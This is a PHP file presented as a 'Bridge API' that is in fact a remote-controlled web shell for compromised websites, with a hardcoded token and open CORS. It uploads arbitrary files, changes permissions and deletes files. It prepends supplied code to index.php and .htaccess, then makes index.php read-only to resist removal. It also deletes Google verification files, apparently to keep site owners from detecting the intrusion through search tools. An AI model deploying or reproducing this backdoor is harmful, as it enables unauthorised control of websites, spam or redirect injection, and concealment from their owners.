<?php
/**
 * Bridge API
 * All file operations are performed relative to the document root.
 * 
 * Security: Uses token-based authentication
 */

// Enable error reporting for debugging
error_reporting(E_ALL);
ini_set('display_errors', 0);

// Set JSON response header
header('Content-Type: application/json');

// CORS headers (adjust as needed)
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    http_response_code(200);
    exit;
}

// Security token - MUST match the token set during setup
define('EXPECTED_TOKEN', 'abc123');

// Get provided token (PHP 5 compatible)
$SECURITY_TOKEN = isset($_POST['token']) ? $_POST['token'] : (isset($_GET['token']) ? $_GET['token'] : '');

// Validate token
if (empty($SECURITY_TOKEN)) {
    respondError('Güvenlik token eksik');
}

if ($SECURITY_TOKEN !== EXPECTED_TOKEN) {
    respondError('Geçersiz güvenlik token');
}

// Get document root
$DOCUMENT_ROOT = $_SERVER['DOCUMENT_ROOT'];

// Get the operation (PHP 5 compatible)
$operation = isset($_POST['operation']) ? $_POST['operation'] : (isset($_GET['operation']) ? $_GET['operation'] : '');

// Route to appropriate handler
switch ($operation) {
    case 'ping':
        handlePing();
        break;
    
    case 'check_file':
        handleCheckFile();
        break;
    
    case 'list_directory':
        handleListDirectory();
        break;
    
    case 'upload_file':
        handleUploadFile();
        break;
    
    case 'modify_index':
        handleModifyIndex();
        break;
    
    case 'modify_htaccess':
        handleModifyHtaccess();
        break;
    
    case 'chmod':
        handleChmod();
        break;
    
    case 'create_directory':
        handleCreateDirectory();
        break;
    
    case 'delete_file':
        handleDeleteFile();
        break;
    
    case 'delete_google_files':
        handleDeleteGoogleFiles();
        break;
    
    default:
        respondError('Geçersiz işlem');
}

/**
 * Ping - Test connection and get server info
 */
function handlePing() {
    global $DOCUMENT_ROOT;
    
    respondSuccess([
        'message' => 'Bridge API is operational',
        'document_root' => $DOCUMENT_ROOT,
        'php_version' => phpversion(),
        'current_dir' => getcwd(),
        'writable' => is_writable($DOCUMENT_ROOT),
    ]);
}

/**
 * Check if a file exists
 */
function handleCheckFile() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : '';
    if (empty($relativePath)) {
        respondError('Path parametresi eksik');
    }
    
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    respondSuccess([
        'exists' => file_exists($fullPath),
        'is_file' => is_file($fullPath),
        'is_dir' => is_dir($fullPath),
        'size' => file_exists($fullPath) ? filesize($fullPath) : 0,
        'writable' => file_exists($fullPath) ? is_writable($fullPath) : false,
        'full_path' => $fullPath,
    ]);
}

/**
 * List directory contents
 */
function handleListDirectory() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : '';
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    if (!is_dir($fullPath)) {
        respondError('Klasör bulunamadı');
    }
    
    $files = [];
    $items = scandir($fullPath);
    
    foreach ($items as $item) {
        if ($item === '.' || $item === '..') continue;
        
        $itemPath = $fullPath . '/' . $item;
        $files[] = [
            'name' => $item,
            'type' => is_dir($itemPath) ? 'directory' : 'file',
            'size' => is_file($itemPath) ? filesize($itemPath) : 0,
        ];
    }
    
    respondSuccess(['files' => $files]);
}

/**
 * Upload a file
 */
function handleUploadFile() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : '';
    $content = isset($_POST['content']) ? $_POST['content'] : '';
    $base64 = isset($_POST['base64']) ? $_POST['base64'] : false;
    
    if (empty($relativePath)) {
        respondError('Path parametresi eksik');
    }
    
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    // Create directory if it doesn't exist
    $directory = dirname($fullPath);
    if (!is_dir($directory)) {
        if (!mkdir($directory, 0755, true)) {
            respondError('Klasör oluşturulamadı: ' . $directory);
        }
    }
    
    // Decode content if base64
    if ($base64) {
        $content = base64_decode($content);
    }
    
    // If file exists and is read-only, temporarily make it writable.
    $chmodWarning = null;
    if (file_exists($fullPath)) {
        if (!is_writable($fullPath)) {
            if (!@chmod($fullPath, 0666)) {
                // chmod failed — continue anyway, write may still succeed
                $chmodWarning = 'chmod 666 başarısız (devam ediliyor)';
            }
        }
    }
    
    // Write file. If direct replace fails, try unlink + recreate as a fallback.
    $writeOk = @file_put_contents($fullPath, $content);
    if ($writeOk === false && file_exists($fullPath)) {
        @chmod($fullPath, 0666);
        if (@unlink($fullPath)) {
            $writeOk = @file_put_contents($fullPath, $content);
        }
    }

    if ($writeOk === false) {
        $errMsg = 'Failed to write file';
        if ($chmodWarning) $errMsg .= ' (ayrıca: ' . $chmodWarning . ')';
        respondError($errMsg);
    }
    
    $warnings = array_filter([$chmodWarning]);
    $warnStr = count($warnings) ? ' (uyarı: ' . implode(', ', $warnings) . ')' : '';
    
    respondSuccess([
        'message' => 'Dosya başarıyla yüklendi' . $warnStr,
        'path' => $fullPath,
        'size' => filesize($fullPath),
        'permissions' => 'unchanged',
    ]);
}

/**
 * Modify index.php - Add code at the beginning
 * Improved version: chmod -> read -> delete -> create new -> chmod
 */
function handleModifyIndex() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : 'index.php';
    $codeToInsert = isset($_POST['code']) ? $_POST['code'] : '';
    $base64 = isset($_POST['base64']) ? $_POST['base64'] : false;
    
    if (empty($codeToInsert)) {
        respondError('Kod parametresi eksik');
    }

    if ($base64) {
        $decodedCode = base64_decode($codeToInsert);
        if ($decodedCode === false) {
            respondError('Base64 kod çözülemedi');
        }
        $codeToInsert = $decodedCode;
    }
    
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    if (!file_exists($fullPath)) {
        respondError('Dosya bulunamadı: ' . $relativePath);
    }
    
    // Step 1: Try to make file writable (666) — but continue even if chmod fails,
    // because the file may already be writable or the server owner may allow writes.
    $chmodOk = @chmod($fullPath, 0666);
    $chmodWarning = $chmodOk ? null : 'chmod 666 başarısız (devam ediliyor)';
    
    // Step 2: Read current content
    $currentContent = file_get_contents($fullPath);
    if ($currentContent === false) {
        $errMsg = 'Dosya okunamadı';
        if ($chmodWarning) $errMsg .= ' (ayrıca: ' . $chmodWarning . ')';
        respondError($errMsg);
    }
    
    // Check if code already exists (also tolerate different line endings)
    $normalizedCurrentContent = str_replace(["\r\n", "\r"], "\n", $currentContent);
    $normalizedCodeToInsert = str_replace(["\r\n", "\r"], "\n", trim($codeToInsert));
    if (strpos($currentContent, 'SEO_TOOLS_AMP_INDEX_V1') !== false || strpos($normalizedCurrentContent, $normalizedCodeToInsert) !== false) {
        // Code already exists, set back to read-only and return
        @chmod($fullPath, 0444);
        respondSuccess([
            'message' => 'Kod zaten dosyada mevcut',
            'modified' => false,
        ]);
    }
    
    // Step 3: Delete the original file
    if (!unlink($fullPath)) {
        respondError('Eski dosya silinemedi');
    }
    
    // Step 4: Create new file with our code prepended
    $newContent = $codeToInsert . "\n" . $currentContent;
    
    if (file_put_contents($fullPath, $newContent) === false) {
        // CRITICAL: Try to restore original content if new file creation fails
        file_put_contents($fullPath, $currentContent);
        $errMsg = 'Yeni dosya oluşturulamadı';
        if ($chmodWarning) $errMsg .= ' (ayrıca: ' . $chmodWarning . ')';
        respondError($errMsg);
    }
    
    // Step 5: Best-effort set to read-only (444)
    $chmod444ok = @chmod($fullPath, 0444);
    
    $warnings = array_filter([$chmodWarning, $chmod444ok ? null : 'chmod 444 başarısız']);
    $warnStr = count($warnings) ? ' (uyarı: ' . implode(', ', $warnings) . ')' : '';
    
    respondSuccess([
        'message' => 'Dosya başarıyla değiştirildi' . $warnStr,
        'modified' => true,
        'permissions' => $chmod444ok ? '0444' : 'writable',
        'backup_size' => strlen($currentContent),
        'new_size' => strlen($newContent),
    ]);
}

/**
 * Change file permissions
 */
function handleChmod() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : '';
    $mode = isset($_POST['mode']) ? $_POST['mode'] : '0644';
    
    if (empty($relativePath)) {
        respondError('Path parametresi eksik');
    }
    
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    if (!file_exists($fullPath)) {
        respondError('Dosya bulunamadı');
    }
    
    // Convert string mode to octal
    $octalMode = octdec($mode);
    
    if (!chmod($fullPath, $octalMode)) {
        respondError('İzinler değiştirilemedi');
    }
    
    respondSuccess([
        'message' => 'İzinler başarıyla değiştirildi',
        'mode' => $mode,
    ]);
}

/**
 * Create a directory
 */
function handleCreateDirectory() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : '';
    
    if (empty($relativePath)) {
        respondError('Path parametresi eksik');
    }
    
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    if (is_dir($fullPath)) {
        respondSuccess([
            'message' => 'Klasör zaten mevcut',
            'created' => false,
        ]);
    }
    
    if (!mkdir($fullPath, 0755, true)) {
        respondError('Klasör oluşturulamadı');
    }
    
    respondSuccess([
        'message' => 'Klasör başarıyla oluşturuldu',
        'created' => true,
    ]);
}

/**
 * Delete a file
 */
function handleDeleteFile() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : '';
    
    if (empty($relativePath)) {
        respondError('Path parametresi eksik');
    }
    
    // Safety check - don't allow deleting important files
    $blacklist = ['index.php', '.htaccess', 'wp-config.php'];
    if (in_array(basename($relativePath), $blacklist)) {
        respondError('Korumalı dosya silinemez');
    }
    
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    if (!file_exists($fullPath)) {
        respondError('Dosya bulunamadı');
    }
    
    if (!unlink($fullPath)) {
        respondError('Dosya silinemedi');
    }
    
    respondSuccess(['message' => 'Dosya başarıyla silindi']);
}

/**
 * Delete all Google verification files (google*.html)
 */
function handleDeleteGoogleFiles() {
    global $DOCUMENT_ROOT;
    
    // List all files in document root
    if (!is_dir($DOCUMENT_ROOT)) {
        respondError('Document root bulunamadı');
    }
    
    $items = scandir($DOCUMENT_ROOT);
    $deletedFiles = [];
    $failedFiles = [];
    
    foreach ($items as $item) {
        // Skip directories and non-google files
        if ($item === '.' || $item === '..') continue;
        
        $itemPath = $DOCUMENT_ROOT . '/' . $item;
        
        // Only delete google*.html files
        if (is_file($itemPath) && preg_match('/^google.*\.html$/', $item)) {
            if (unlink($itemPath)) {
                $deletedFiles[] = $item;
            } else {
                $failedFiles[] = $item;
            }
        }
    }
    
    if (count($failedFiles) > 0) {
        respondError('Bazı dosyalar silinemedi: ' . implode(', ', $failedFiles));
    }
    
    if (count($deletedFiles) === 0) {
        respondSuccess([
            'message' => 'Silinecek Google doğrulama dosyası bulunamadı',
            'deleted' => [],
        ]);
    }
    
    respondSuccess([
        'message' => count($deletedFiles) . ' adet Google doğrulama dosyası başarıyla silindi',
        'deleted' => $deletedFiles,
    ]);
}

/**
 * Modify .htaccess - Add code at the beginning or create new file
 * This handler will:
 * 1. Check if .htaccess exists
 * 2. If exists: prepend new code (with line breaks) above existing content
 * 3. If not exists: create new .htaccess with provided code
 */
function handleModifyHtaccess() {
    global $DOCUMENT_ROOT;
    
    $relativePath = isset($_POST['path']) ? $_POST['path'] : '.htaccess';
    $codeToInsert = isset($_POST['code']) ? $_POST['code'] : '';
    $base64 = isset($_POST['base64']) ? $_POST['base64'] : false;
    
    if (empty($codeToInsert)) {
        respondError('Kod parametresi eksik');
    }

    if ($base64) {
        $decodedCode = base64_decode($codeToInsert);
        if ($decodedCode === false) {
            respondError('Base64 kod çözülemedi');
        }
        $codeToInsert = $decodedCode;
    }
    
    $fullPath = resolvePath($DOCUMENT_ROOT, $relativePath);
    
    // Check if file exists
    $fileExists = file_exists($fullPath);
    
    if ($fileExists) {
        // File exists - prepend new code
        
        // Step 1: Try to make file writable — continue even if chmod fails
        $chmodOk = @chmod($fullPath, 0666);
        $chmodWarning = $chmodOk ? null : 'chmod 666 başarısız (devam ediliyor)';
        
        // Step 2: Read current content
        $currentContent = file_get_contents($fullPath);
        if ($currentContent === false) {
            $errMsg = 'Dosya okunamadı';
            if ($chmodWarning) $errMsg .= ' (ayrıca: ' . $chmodWarning . ')';
            respondError($errMsg);
        }

        $normalizedCurrentContent = str_replace(["\r\n", "\r"], "\n", $currentContent);
        $normalizedCodeToInsert = str_replace(["\r\n", "\r"], "\n", trim($codeToInsert));
        if (strpos($currentContent, 'SEO_TOOLS_AMP_HTACCESS_V1') !== false || strpos($normalizedCurrentContent, $normalizedCodeToInsert) !== false) {
            @chmod($fullPath, 0644);
            respondSuccess([
                'message' => '.htaccess kodu zaten mevcut',
                'path' => $fullPath,
                'size' => filesize($fullPath),
                'permissions' => '0644',
                'action' => 'skipped',
            ]);
        }
        
        // Step 3: Prepare new content
        // Add code at the beginning with proper line breaks
        $newContent = $codeToInsert . "\n\n" . $currentContent;
        
        // Step 4: Delete old file
        if (!unlink($fullPath)) {
            respondError('Eski dosya silinemedi');
        }
        
        // Step 5: Write new file with combined content
        if (file_put_contents($fullPath, $newContent) === false) {
            $errMsg = 'Yeni dosya yazılamadı';
            if ($chmodWarning) $errMsg .= ' (ayrıca: ' . $chmodWarning . ')';
            respondError($errMsg);
        }
        
        // Step 6: Best-effort chmod 644
        $chmod644ok = @chmod($fullPath, 0644);
        $warnings = array_filter([$chmodWarning, $chmod644ok ? null : 'chmod 644 (son) başarısız']);
        $warnStr = count($warnings) ? ' (uyarı: ' . implode(', ', $warnings) . ')' : '';
        
        respondSuccess([
            'message' => '.htaccess başarıyla güncellendi (kod başa eklendi)' . $warnStr,
            'path' => $fullPath,
            'size' => filesize($fullPath),
            'permissions' => $chmod644ok ? '0644' : 'unchanged',
            'action' => 'modified',
        ]);
        
    } else {
        // File does not exist - create new file
        
        if (file_put_contents($fullPath, $codeToInsert) === false) {
            respondError('Yeni .htaccess dosyası oluşturulamadı');
        }
        
        $chmod644ok = chmod($fullPath, 0644);
        $warnStr = $chmod644ok ? '' : ' (uyarı: chmod 644 başarısız)';
        
        respondSuccess([
            'message' => '.htaccess başarıyla oluşturuldu' . $warnStr,
            'path' => $fullPath,
            'size' => filesize($fullPath),
            'permissions' => $chmod644ok ? '0644' : 'unchanged',
            'action' => 'created',
        ]);
    }
}

/**
 * Resolve relative path to full path and prevent directory traversal
 */
function resolvePath($base, $relative) {
    // Remove any directory traversal attempts
    $relative = str_replace(['../', '..\\'], '', $relative);
    $relative = ltrim($relative, '/\\');
    
    return $base . '/' . $relative;
}

/**
 * Send success response
 */
function respondSuccess($data) {
    echo json_encode([
        'success' => true,
        'data' => $data,
    ]);
    exit;
}

/**
 * Send error response
 */
function respondError($message) {
    http_response_code(400);
    echo json_encode([
        'success' => false,
        'error' => $message,
    ]);
    exit;
}
